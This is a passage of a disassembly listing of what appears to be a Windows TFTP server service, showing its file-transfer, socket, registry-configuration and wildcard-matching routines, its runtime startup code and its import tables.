		mov	[ebp+Src], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_100261E
		test	eax, eax
		jnz	short loc_100349A
		push	offset aMalformedFileN ; "Malformed file name"
		jmp	short loc_10034DF
; ---------------------------------------------------------------------------


loc_100349A:				; CODE XREF: sub_100333A+157j
		push	[ebp+to]
		push	offset byte_1005D20
		call	sub_10039D6
		test	eax, eax
		jz	loc_10036EC
		push	[ebp+s]
		push	offset byte_1005D90
		call	sub_10039D6
		test	eax, eax
		jz	loc_10036EC
		push	(offset	dword_1005E07+1) ; int
		push	0FFBCh		; int
		push	[ebp+Src]	; Src
		call	sub_100273D
		test	eax, eax
		jnz	short loc_10034E6
		push	offset aFileNameTooLon ; "File name too	long"


loc_10034DF:				; CODE XREF: sub_100333A+15Ej
		push	0
		jmp	loc_10036FC
; ---------------------------------------------------------------------------


loc_10034E6:				; CODE XREF: sub_100333A+19Ej
		push	180h
		push	8302h
		push	[ebp+Src]
		call	ds:_open	; _open
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebx+1002Ch], eax
		jnz	short loc_100351E
		mov	esi, ds:_errno
		call	esi ; _errno
		call	esi ; _errno
		push	dword ptr [eax]	; dwErrCode
		call	ds:SetLastError
		jmp	loc_10036F2
; ---------------------------------------------------------------------------


loc_100351E:				; CODE XREF: sub_100333A+1CBj
		xor	esi, esi
		push	esi		; protocol
		push	2		; type
		push	2		; af
		call	ds:socket	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+s], edi
		jnz	short loc_1003546
		call	ds:WSAGetLastError	; WSAGetLastError
		push	offset aInsufficientRe ; "Insufficient resources"
		push	esi
		jmp	loc_10036FC
; ---------------------------------------------------------------------------


loc_1003546:				; CODE XREF: sub_100333A+1F9j
		mov	word ptr [ebp+name.sa_data], si
		mov	esi, [ebp+arg_0]
		push	10h		; namelen
		mov	[ebp+name.sa_family], 2
		mov	eax, [esi+1Ch]
		mov	dword ptr [ebp+name.sa_data+2],	eax
		lea	eax, [ebp+name]
		push	eax		; name
		push	edi		; s
		call	ds:bind	; bind
		test	eax, eax
		jz	short loc_100358A
		call	ds:WSAGetLastError	; WSAGetLastError
		push	offset aInsufficientRe ; "Insufficient resources"
		push	0
		push	dword ptr [esi+8]
		lea	eax, [esi+0FFF1h]
		add	esi, 0Ch
		push	eax
		push	esi
		jmp	loc_100370D
; ---------------------------------------------------------------------------


loc_100358A:				; CODE XREF: sub_100333A+22Ej
		lea	eax, [ebx+10028h]
		mov	[esi+8], edi
		push	eax		; int
		lea	eax, [ebx+38h]
		push	eax		; int
		lea	eax, [ebx+10024h]
		push	eax		; int
		mov	eax, [ebp+var_C]
		inc	eax
		push	2		; int
		push	eax		; Str1
		push	esi		; int
		call	sub_10023D8
		test	eax, eax
		jnz	loc_1003712
		push	ebx		; lpCriticalSection
		call	ds:InitializeCriticalSection	; InitializeCriticalSection
		mov	[ebx+20h], edi
		add	esi, 0Ch
		lea	edi, [ebx+28h]
		mov	[ebp+to], esi
		movsd
		movsd
		movsd
		movsd
		xor	esi, esi
		push	esi		; lpName
		push	esi		; bInitialState
		push	esi		; bManualReset
		push	esi		; lpEventAttributes
		call	ds:CreateEventA	; CreateEventA
		cmp	eax, esi
		mov	[ebx+0FFF8h], eax
		jz	short loc_10035F8
		push	2
		pop	edi
		push	edi		; char
		push	eax		; hEventObject
		push	[ebp+s]		; s
		call	sub_100188E
		cmp	eax, esi
		mov	[ebx+0FFFCh], eax
		jnz	short loc_1003603


loc_10035F8:				; CODE XREF: sub_100333A+2A5j
		call	ds:GetLastError
		jmp	loc_1003712
; ---------------------------------------------------------------------------


loc_1003603:				; CODE XREF: sub_100333A+2BCj
		add	ebx, 18h
		push	ebx
		call	sub_100287F
		push	[ebp+s]
		mov	[ebp+var_14], 1
		call	sub_10028B5
		mov	ebx, eax
		cmp	ebx, esi
		jz	loc_1003712
		xor	esi, esi
		mov	[ebp+var_10], 1
		cmp	[ebx+10028h], esi
		jz	short loc_100364A
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+28h]
		imul	eax, 3E8h
		mov	[ebx+10000h], eax
		jmp	short loc_1003654
; ---------------------------------------------------------------------------


loc_100364A:				; CODE XREF: sub_100333A+2FAj
		mov	dword ptr [ebx+10000h],	3E8h


loc_1003654:				; CODE XREF: sub_100333A+30Ej
		mov	eax, [ebx+10000h]
		push	esi
		push	eax
		push	eax
		push	dword ptr [ebx+20h]
		lea	eax, [ebx+10004h]
		push	offset sub_1002A3D
		push	eax
		push	dword_10060A0
		call	ds:RtlCreateTimer	; RtlCreateTimer
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebx+10024h]
		mov	[ebx+24h], edi
		cmp	ecx, esi
		mov	eax, [eax+20h]
		mov	[ebx+10018h], eax
		lea	eax, [ebx+10024h]
		jz	short loc_10036A1
		mov	[ebx+10020h], ecx
		mov	[eax], esi
		jmp	short loc_10036C5
; ---------------------------------------------------------------------------


loc_10036A1:				; CODE XREF: sub_100333A+35Bj
		mov	esi, ds:htons
		push	4
		pop	edi
		push	edi		; hostshort
		call	esi ; htons
		mov	[ebx+38h], ax
		mov	ax, [ebx+10014h]
		push	eax		; hostshort
		call	esi ; htons
		mov	[ebx+3Ah], ax
		mov	[ebx+10020h], edi


loc_10036C5:				; CODE XREF: sub_100333A+365j
		push	10h		; tolen
		lea	eax, [ebx+38h]
		push	[ebp+to]	; to
		push	0		; flags
		push	dword ptr [ebx+10020h] ; len
		push	eax		; buf
		push	[ebp+s]		; s
		call	ds:sendto	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1003712
		call	ds:WSAGetLastError	; WSAGetLastError
		jmp	short loc_1003712
; ---------------------------------------------------------------------------


loc_10036EC:				; CODE XREF: sub_100333A+16Fj
					; sub_100333A+184j
		call	ds:_errno	; _errno


loc_10036F2:				; CODE XREF: sub_100333A+1DFj
		push	0
		push	2
		jmp	short loc_10036FC
; ---------------------------------------------------------------------------


loc_10036F8:				; CODE XREF: sub_100333A+113j
		push	0		; int
		push	4		; hostshort


loc_10036FC:				; CODE XREF: sub_100333A+1A7j
					; sub_100333A+207j ...
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8] ; s
		lea	ecx, [eax+0FFF1h]
		add	eax, 0Ch
		push	ecx		; int
		push	eax		; to


loc_100370D:				; CODE XREF: sub_100333A+24Bj
		call	sub_100230A


loc_1003712:				; CODE XREF: sub_100333A+48j
					; sub_100333A+274j ...
		test	ebx, ebx
		jz	short loc_1003731
		cmp	[ebp+var_10], 0
		jz	short loc_1003723
		push	ebx		; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_1003723:				; CODE XREF: sub_100333A+3E0j
		cmp	[ebp+var_14], 0
		jnz	short loc_1003731
		push	ebx		; Memory
		call	ds:free	; free
		pop	ecx


loc_1003731:				; CODE XREF: sub_100333A+21j
					; sub_100333A+3DAj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_100333A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100373A	proc near		; CODE XREF: sub_1002CE6+D7p

var_1FF70	= byte ptr -1FF70h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 1FF70h
		call	_chkstk	; _chkstk
		cmp	[ebp+arg_C], 8000h
		push	esi
		push	edi
		jnz	short loc_100375A
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		jmp	short loc_1003792
; ---------------------------------------------------------------------------


loc_100375A:				; CODE XREF: sub_100373A+16j
		mov	edx, [ebp+arg_4]
		xor	ecx, ecx
		xor	esi, esi
		cmp	[ebp+arg_8], ecx
		jle	short loc_1003790
		mov	edi, [ebp+arg_10]


loc_1003769:				; CODE XREF: sub_100373A+54j
		cmp	byte ptr [edi],	0Dh
		jnz	short loc_1003779
		cmp	byte ptr [ecx+edx], 0
		jnz	short loc_1003779
		and	byte ptr [edi],	0
		jmp	short loc_100378A
; ---------------------------------------------------------------------------


loc_1003779:				; CODE XREF: sub_100373A+32j
					; sub_100373A+38j
		mov	al, [ecx+edx]
		mov	[ebp+esi+var_1FF70], al
		inc	esi
		cmp	al, 0Dh
		jnz	short loc_100378A
		mov	[edi], al


loc_100378A:				; CODE XREF: sub_100373A+3Dj
					; sub_100373A+4Cj
		inc	ecx
		cmp	ecx, [ebp+arg_8]
		jl	short loc_1003769


loc_1003790:				; CODE XREF: sub_100373A+2Aj
		push	esi
		push	edx


loc_1003792:				; CODE XREF: sub_100373A+1Ej
		push	[ebp+arg_0]
		call	ds:_write	; _write
		mov	edi, eax
		add	esp, 0Ch
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_10037B7
		mov	esi, ds:_errno
		call	esi ; _errno
		call	esi ; _errno
		push	dword ptr [eax]	; dwErrCode
		call	ds:SetLastError


loc_10037B7:				; CODE XREF: sub_100373A+69j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	14h
sub_100373A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10037BF	proc near		; CODE XREF: sub_1001665:loc_10017F3p

hKey		= dword	ptr -10h
Type		= dword	ptr -0Ch
cbData		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		lea	eax, [ebp+hKey]
		push	ebx
		xor	ebx, ebx
		push	eax		; phkResult
		push	0F003Fh		; samDesired
		push	ebx		; ulOptions
		push	offset SubKey	; "System\\CurrentControlSet\\Services\\tftpd"...
		push	80000002h	; hKey
		mov	[ebp+var_4], ebx
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		cmp	eax, ebx
		jz	short loc_10037F6
		call	ds:GetLastError
		xor	eax, eax
		jmp	loc_100390D
; ---------------------------------------------------------------------------


loc_10037F6:				; CODE XREF: sub_10037BF+28j
		cmp	byte ptr dword_1005E07+1, bl
		push	edi
		push	esi
		mov	esi, ds:RegQueryValueExA
		jnz	short loc_100383C
		lea	eax, [ebp+cbData]
		mov	[ebp+cbData], 1F4h
		push	eax		; lpcbData
		lea	eax, [ebp+Type]
		push	(offset	dword_1005E07+1) ; lpData
		push	eax		; lpType
		push	ebx		; lpReserved
		push	offset ValueName ; "directory"
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExA
		cmp	eax, ebx
		jz	short loc_1003831
		call	ds:GetLastError
		jmp	short loc_100383C
; ---------------------------------------------------------------------------


loc_1003831:				; CODE XREF: sub_10037BF+68j
		push	1
		pop	eax
		cmp	[ebp+Type], eax
		jnz	short loc_100383C
		mov	[ebp+var_4], eax


loc_100383C:				; CODE XREF: sub_10037BF+45j
					; sub_10037BF+70j ...
		push	32h
		lea	eax, [ebp+cbData]
		pop	edi
		push	eax		; lpcbData
		lea	eax, [ebp+Type]
		push	offset Data	; lpData
		push	eax		; lpType
		push	ebx		; lpReserved
		push	offset aClients	; "clients"
		push	[ebp+hKey]	; hKey
		mov	[ebp+cbData], edi
		call	esi ; RegQueryValueExA
		cmp	eax, ebx
		jz	short loc_1003866
		call	ds:GetLastError
		jmp	short loc_100386F
; ---------------------------------------------------------------------------


loc_1003866:				; CODE XREF: sub_10037BF+9Dj
		cmp	[ebp+Type], 1
		jnz	short loc_100386F
		inc	[ebp+var_4]


loc_100386F:				; CODE XREF: sub_10037BF+A5j
					; sub_10037BF+ABj
		lea	eax, [ebp+cbData]
		mov	[ebp+cbData], edi
		push	eax		; lpcbData
		lea	eax, [ebp+Type]
		push	offset byte_1005D20 ; lpData
		push	eax		; lpType
		push	ebx		; lpReserved
		push	offset aMasters	; "masters"
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExA
		cmp	eax, ebx
		jz	short loc_1003896
		call	ds:GetLastError
		jmp	short loc_100389F
; ---------------------------------------------------------------------------


loc_1003896:				; CODE XREF: sub_10037BF+CDj
		cmp	[ebp+Type], 1
		jnz	short loc_100389F
		inc	[ebp+var_4]


loc_100389F:				; CODE XREF: sub_10037BF+D5j
					; sub_10037BF+DBj
		lea	eax, [ebp+cbData]
		mov	[ebp+cbData], edi
		push	eax		; lpcbData
		lea	eax, [ebp+Type]
		push	offset byte_1005D58 ; lpData
		push	eax		; lpType
		push	ebx		; lpReserved
		push	offset aReadable ; "readable"
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExA
		cmp	eax, ebx
		jz	short loc_10038C6
		call	ds:GetLastError
		jmp	short loc_10038CF
; ---------------------------------------------------------------------------


loc_10038C6:				; CODE XREF: sub_10037BF+FDj
		cmp	[ebp+Type], 1
		jnz	short loc_10038CF
		inc	[ebp+var_4]


loc_10038CF:				; CODE XREF: sub_10037BF+105j
					; sub_10037BF+10Bj
		lea	eax, [ebp+cbData]
		mov	[ebp+cbData], edi
		push	eax		; lpcbData
		lea	eax, [ebp+Type]
		push	offset byte_1005D90 ; lpData
		push	eax		; lpType
		push	ebx		; lpReserved
		push	offset aWritable ; "writable"
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExA
		cmp	eax, ebx
		jz	short loc_10038F6
		call	ds:GetLastError
		jmp	short loc_10038FF
; ---------------------------------------------------------------------------


loc_10038F6:				; CODE XREF: sub_10037BF+12Dj
		cmp	[ebp+Type], 1
		jnz	short loc_10038FF
		inc	[ebp+var_4]


loc_10038FF:				; CODE XREF: sub_10037BF+135j
					; sub_10037BF+13Bj
		push	[ebp+hKey]	; hKey
		call	ds:RegCloseKey	; RegCloseKey
		mov	eax, [ebp+var_4]
		pop	esi
		pop	edi


loc_100390D:				; CODE XREF: sub_10037BF+32j
		pop	ebx
		leave
		retn
sub_10037BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_1003910	proc near		; CODE XREF: sub_1001665+193p

Dst		= byte ptr -1F4h

		sub	esp, 1F4h
		cmp	byte ptr dword_1005E07+1, 0
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, 1F4h
		mov	ebx, (offset dword_1005E07+1)
		jnz	short loc_100393D
		push	ebp		; Count
		push	offset Source	; "\\tftpdroot\\"
		push	ebx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch


loc_100393D:				; CODE XREF: sub_1003910+1Bj
		lea	eax, [esp+204h+Dst]
		push	ebp		; nSize
		push	eax		; lpDst
		push	ebx		; lpSrc
		call	ds:ExpandEnvironmentStringsA	; ExpandEnvironmentStringsA
		test	eax, eax
		jnz	short loc_1003952
		push	57h
		jmp	short loc_10039CA
; ---------------------------------------------------------------------------


loc_1003952:				; CODE XREF: sub_1003910+3Cj
		mov	ecx, eax
		lea	esi, [esp+204h+Dst]
		mov	edi, ebx
		or	edx, 0FFFFFFFFh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, ebx
		mov	ecx, edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	byte ptr dword_1005E07[ecx], 2Fh
		lea	eax, dword_1005E07[ecx]
		jnz	short loc_1003986
		mov	byte ptr [eax],	5Ch


loc_1003986:				; CODE XREF: sub_1003910+71j
		cmp	byte ptr [eax],	5Ch
		jz	short loc_10039B7
		cmp	ecx, ebp
		jnb	short loc_10039B7
		mov	edi, offset asc_100155C	; "\\"
		mov	ecx, edx
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	ebp, ecx
		mov	edi, ebx
		mov	ecx, edx
		repne scasb
		mov	ecx, ebp
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebp
		and	ecx, 3
		rep movsb


loc_10039B7:				; CODE XREF: sub_1003910+79j
					; sub_1003910+7Dj
		mov	edi, ebx
		mov	ecx, edx
		xor	eax, eax
		push	1
		repne scasb
		not	ecx
		dec	ecx
		mov	dword_1005FFC, ecx


loc_10039CA:				; CODE XREF: sub_1003910+40j
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1F4h
		retn
sub_1003910	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10039D6	proc near		; CODE XREF: sub_1002F31+148p
					; sub_1002F31+159p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	al, [esi]
		test	al, al
		jz	short loc_1003A2E
		cmp	al, 2Ah
		jz	short loc_1003A04
		cmp	al, 3Fh
		jz	short loc_10039F7
		mov	ecx, [ebp+arg_4]
		cmp	al, [ecx]
		jnz	short loc_1003A25
		inc	ecx
		push	ecx
		jmp	short loc_1003A01
; ---------------------------------------------------------------------------


loc_10039F7:				; CODE XREF: sub_10039D6+14j
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jz	short loc_1003A25
		inc	eax
		push	eax


loc_1003A01:				; CODE XREF: sub_10039D6+1Fj
		inc	esi
		jmp	short loc_1003A1B
; ---------------------------------------------------------------------------


loc_1003A04:				; CODE XREF: sub_10039D6+10j
		mov	edi, [ebp+arg_4]
		lea	eax, [esi+1]
		push	edi
		push	eax
		call	sub_10039D6
		test	eax, eax
		jnz	short loc_1003A29
		cmp	[edi], al
		jz	short loc_1003A25
		inc	edi
		push	edi


loc_1003A1B:				; CODE XREF: sub_10039D6+2Cj
		push	esi
		call	sub_10039D6
		test	eax, eax
		jnz	short loc_1003A29


loc_1003A25:				; CODE XREF: sub_10039D6+1Bj
					; sub_10039D6+27j ...
		xor	eax, eax
		jmp	short loc_1003A38
; ---------------------------------------------------------------------------


loc_1003A29:				; CODE XREF: sub_10039D6+3Dj
					; sub_10039D6+4Dj
		push	1
		pop	eax
		jmp	short loc_1003A38
; ---------------------------------------------------------------------------


loc_1003A2E:				; CODE XREF: sub_10039D6+Cj
		mov	ecx, [ebp+arg_4]
		xor	eax, eax
		cmp	[ecx], al
		setz	al


loc_1003A38:				; CODE XREF: sub_10039D6+51j
					; sub_10039D6+56j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_10039D6	endp

; [00000006 BYTES: COLLAPSED FUNCTION _chkstk. PRESS KEYPAD "+"	TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NotifyAddrChange.	PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION GetIpAddrTable. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001560
		push	offset loc_1003BF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-4], 0
		push	1
		call	ds:__set_app_type	; __set_app_type
		add	esp, 4
		mov	dword_10062D0, 0FFFFFFFFh
		mov	dword_10062D4, 0FFFFFFFFh
		call	ds:__p__fmode	; __p__fmode
		mov	ecx, dword_100600C
		mov	[eax], ecx
		call	ds:__p__commode	; __p__commode
		mov	edx, dword_1006008
		mov	[eax], edx
		mov	eax, ds:_adjust_fdiv
		mov	ecx, [eax]
		mov	dword_10062D8, ecx
		call	nullsub_2
		mov	eax, dword_1005DC4
		test	eax, eax
		jnz	short loc_1003AE1
		push	offset loc_1003BD0
		call	ds:__setusermatherr	; __setusermatherr
		add	esp, 4


loc_1003AE1:				; CODE XREF: .text:01003AD1j
		call	sub_1003BB0
		push	offset dword_100500C
		push	offset dword_1005008
		call	_initterm	; _initterm
		add	esp, 8
		mov	edx, dword_1006004
		mov	[ebp-28h], edx
		lea	eax, [ebp-28h]
		push	eax
		mov	ecx, dword_1006000
		push	ecx
		lea	edx, [ebp-20h]
		push	edx
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-1Ch]
		push	ecx
		call	ds:__getmainargs	; __getmainargs
		add	esp, 14h
		push	offset dword_1005004
		push	offset dword_1005000
		call	_initterm	; _initterm
		add	esp, 8
		call	ds:__p___initenv	; __p___initenv
		mov	edx, [ebp-20h]
		mov	[eax], edx
		mov	eax, [ebp-20h]
		push	eax
		mov	ecx, [ebp-2Ch]
		push	ecx
		mov	edx, [ebp-1Ch]
		push	edx
		call	sub_1001570
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		mov	[ebp-24h], eax
		push	eax
		call	ds:exit	; exit
; ---------------------------------------------------------------------------
		jmp	short loc_1003B80
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-30h], ecx
		push	eax
		push	ecx
		call	_XcptFilter	; _XcptFilter
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	edx, [ebp-30h]
		push	edx
		call	ds:_exit	; _exit
; ---------------------------------------------------------------------------


loc_1003B80:				; CODE XREF: .text:01003B5Cj
		add	esp, 4
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION _XcptFilter. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1003BB0	proc near		; CODE XREF: .text:loc_1003AE1p
		push	30000h		; Mask
		push	10000h		; NewValue
		call	_controlfp	; _controlfp
		add	esp, 8
		retn
sub_1003BB0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_1003BD0:				; DATA XREF: .text:01003AD3o
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		align 10h


loc_1003BF0:				; DATA XREF: .text:01003A5Ao
		jmp	ds:_except_handler3
; [00000006 BYTES: COLLAPSED FUNCTION _controlfp. PRESS	KEYPAD "+" TO EXPAND]
		dd 3D7Ch, 2 dup(0FFFFFFFFh), 3E60h, 10F4h, 3CA4h, 2 dup(0FFFFFFFFh)
		dd 4012h, 101Ch, 3C88h,	2 dup(0FFFFFFFFh), 40A2h, 1000h
		dd 3DCCh, 2 dup(0FFFFFFFFh), 4172h, 1144h, 3DC0h, 2 dup(0FFFFFFFFh)
		dd 41A2h, 1138h, 3D04h,	2 dup(0FFFFFFFFh), 42F6h, 107Ch
		dd 5 dup(0)
		dd 4092h, 4020h, 407Eh,	4070h, 4052h, 403Eh, 0
		dd 3E6Ch, 3FF6h, 3FE6h,	3FCEh, 3FBEh, 3FB2h, 3FA2h, 3E7Ah
		dd 3E8Ah, 3EA0h, 3EB0h,	3ECCh, 3EDAh, 3EF2h, 3EFEh, 3F0Ch
		dd 3F24h, 3F3Ch, 3F56h,	3F62h, 3F70h, 3F78h, 3F92h, 0
		dd 4282h, 4272h, 428Eh,	4230h, 4226h, 421Eh, 4214h, 420Ah
		dd 4200h, 41F8h, 41F0h,	41E6h, 41DCh, 41D2h, 41CAh, 41C2h
		dd 4302h, 42E2h, 42D0h,	42C2h, 42B2h, 42A2h, 41B8h, 4262h
		dd 4254h, 424Ch, 423Ah,	4242h, 41B0h, 0
		dd 3E52h, 8000006Fh, 80000073h,	3E08h, 80000009h, 3E1Ah
		dd 8000000Fh, 3E34h, 8000000Ah,	3E42h, 80000003h, 8000000Ch
		dd 80000002h, 80000037h, 80000017h, 80000014h, 0
		dd 417Ch, 4190h, 0
		dd 4126h, 4168h, 415Eh,	4154h, 4142h, 4130h, 411Ah, 4112h
		dd 410Ah, 40F4h, 40EAh,	40D4h, 40B0h, 40C2h, 0
		dd 53570019h, 65764541h, 6553746Eh, 7463656Ch, 1B0000h
aWsagetoverlapp	db 'WSAGetOverlappedResult',0
		align 4
a2		db '2',0
aWsarecvfrom	db 'WSARecvFrom',0
		dw 0Fh
aWsacloseevent	db 'WSACloseEvent',0
		db '=',0
aWsasocketa	db 'WSASocketA',0
		align 10h
aWs2_32_dll	db 'WS2_32.dll',0
		align 4
aM		db 'Œ',0
aExitprocess	db 'ExitProcess',0
		dw 12Dh
aGetlasterror	db 'GetLastError',0
		align 2
		dw 2FDh
aWaitforsingleo	db 'WaitForSingleObject',0
a4		db '4',0
aCreateeventa	db 'CreateEventA',0
		align 10h
		db 0C5h	; Å
		db 1, 49h, 6Eh
aItializecritic	db 'itializeCriticalSection',0
		dd 654801B6h, 72437061h, 65746165h, 1DE0000h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
		dw 1BAh
aHeapfree	db 'HeapFree',0
		align 2
		dw 1Eh
aClosehandle	db 'CloseHandle',0
aO		db 'o',0
aEntercriticals	db 'EnterCriticalSection',0
		align 4
		retf
; ---------------------------------------------------------------------------
		db 1, 49h, 6Eh
aTerlockedincre	db 'terlockedIncrement',0
		align 4
		db 0FBh	; û
		db 2, 57h, 61h
aItformultipleo	db 'itForMultipleObjects',0
		align 2
		dw 1B4h
aHeapalloc	db 'HeapAlloc',0
		dw 252h
aResetevent	db 'ResetEvent',0
		align 10h
		retn
; ---------------------------------------------------------------------------
		db 2, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db 0D8h	; Ø
		db 2, 54h, 72h
aYentercritical	db 'yEnterCriticalSection',0
		dw 2C5h
aSuspendthread	db 'SuspendThread',0
		dw 254h
aResumethread	db 'ResumeThread',0
		db 0, 90h, 2
aSetevent	db 'SetEvent',0
		align 2
		dw 29Ch
aSetlasterror	db 'SetLastError',0
		align 2
aZ		db 'Z',0
aDeletecritical	db 'DeleteCriticalSection',0
		dw 12Fh
aGetlocaltime	db 'GetLocalTime',0
		align 2
aP		db '',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
aKernel32_dll	db 'KERNEL32.dll',0
		align 10h
		db 0E5h	; å
		db 1, 53h, 74h
aArtservicectrl	db 'artServiceCtrlDispatcherA',0
		dw 1DFh
aSetservicestat	db 'SetServiceStatus',0
		align 2
		dw 1B9h
aRegisterservic	db 'RegisterServiceCtrlHandlerA',0
		db  84h	; „
		db 1, 52h, 65h
aGclosekey	db 'gCloseKey',0
		dw 1A7h
aRegqueryvaluee	db 'RegQueryValueExA',0
		align 2
		dw 19Dh
aRegopenkeyexa	db 'RegOpenKeyExA',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 10h
		db  50h	; P
		db 2, 52h, 74h
aLregisterwait	db 'lRegisterWait',0
		dw 184h
aRtlcreatetimer	db 'RtlCreateTimer',0
		align 4
		db  85h	; …
		db 1, 52h, 74h
aLcreatetimerqu	db 'lCreateTimerQueue',0
		dw 42Eh
a_chkstk	db '_chkstk',0
		db 0A1h	; ¡
		db 1, 52h, 74h
aLderegisterwai	db 'lDeregisterWaitEx',0
		dw 433h
a_itoa		db '_itoa',0
		dw 450h
aAtoi		db 'atoi',0
		align 2
		dw 43Dh
a_stricmp	db '_stricmp',0
		align 2
		dw 46Dh
aMemmove	db 'memmove',0
		dd 7452019Dh, 6C65446Ch, 54657465h, 72656D69h, 2990000h
		dd 556C7452h, 74616470h, 6D695465h, 7265h, 6F740486h, 65776F6Ch
		dd 45F0072h, 70757369h,	726570h, 7473047Dh, 70636E72h
		dd 746E0079h, 2E6C6C64h, 6C6C64h, 6F4E004Fh, 79666974h
		dd 72646441h, 6E616843h, 6567h,	65470022h, 41704974h, 54726464h
		dd 656C6261h, 70690000h, 61706C68h, 642E6970h, 6C6Ch, 78650246h
		dd 7469h, 7270029Bh, 66746E69h,	2430000h, 6D697463h, 2540065h
		dd 65706F66h, 17F006Eh,	646B6D5Fh, 7269h, 655F00C5h, 6F6E7272h
		dd 0AA0000h, 6468635Fh,	7269h, 697402CDh, 656Dh, 7266025Bh
		dd 6565h, 63660249h, 65736F6Ch,	2A40000h, 6C616572h, 636F6Ch
		dd 616D028Eh, 636F6C6Ch, 1950000h, 6165725Fh, 0B00064h
		dd 6F6C635Fh, 6573h, 6C5F0141h,	6B656573h, 1840000h, 65706F5Fh
		dd 214006Eh, 6972775Fh,	6574h, 655F00D0h, 746978h, 585F0048h
		dd 46747063h, 65746C69h, 630072h, 5F705F5Fh, 6E695F5Fh
		dd 6E657469h, 580076h, 65675F5Fh, 69616D74h, 6772616Eh
		dd 10C0073h, 696E695Fh,	72657474h, 82006Dh, 65735F5Fh
		dd 65737574h, 74616D72h, 72726568h, 9B0000h, 6A64615Fh
		dd 5F747375h, 76696466h, 690000h, 5F705F5Fh, 6D6F635Fh
		dd 65646F6Dh, 6E0000h, 5F705F5Fh, 6F6D665Fh, 6564h, 5F5F0080h
		dd 5F746573h, 5F707061h, 65707974h, 0C70000h, 6378655Fh
		dd 5F747065h, 646E6168h, 3372656Ch, 534D0000h, 54524356h
		dd 6C6C642Eh, 0B40000h,	6E6F635Fh, 6C6F7274h, 7066h, 3Ch dup(0)
_text		ends

; Section 2. (virtual address 00005000)
; Virtual size			: 000012DC (   4828.)
; Section size in file		: 00000E00 (   3584.)
; Offset to raw	data for section: 00003A00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 1005000h
dword_1005000	dd 0		dword_1005004	dd 0		dword_1005008	dd 0		dword_100500C	dd 0		; char Format[]
Format		db ' ================================================================'
					; DATA XREF: sub_1001570+4Do
		db '======== ',0Ah
		db 'Abstract:                                                        '
		db '         ',0Ah
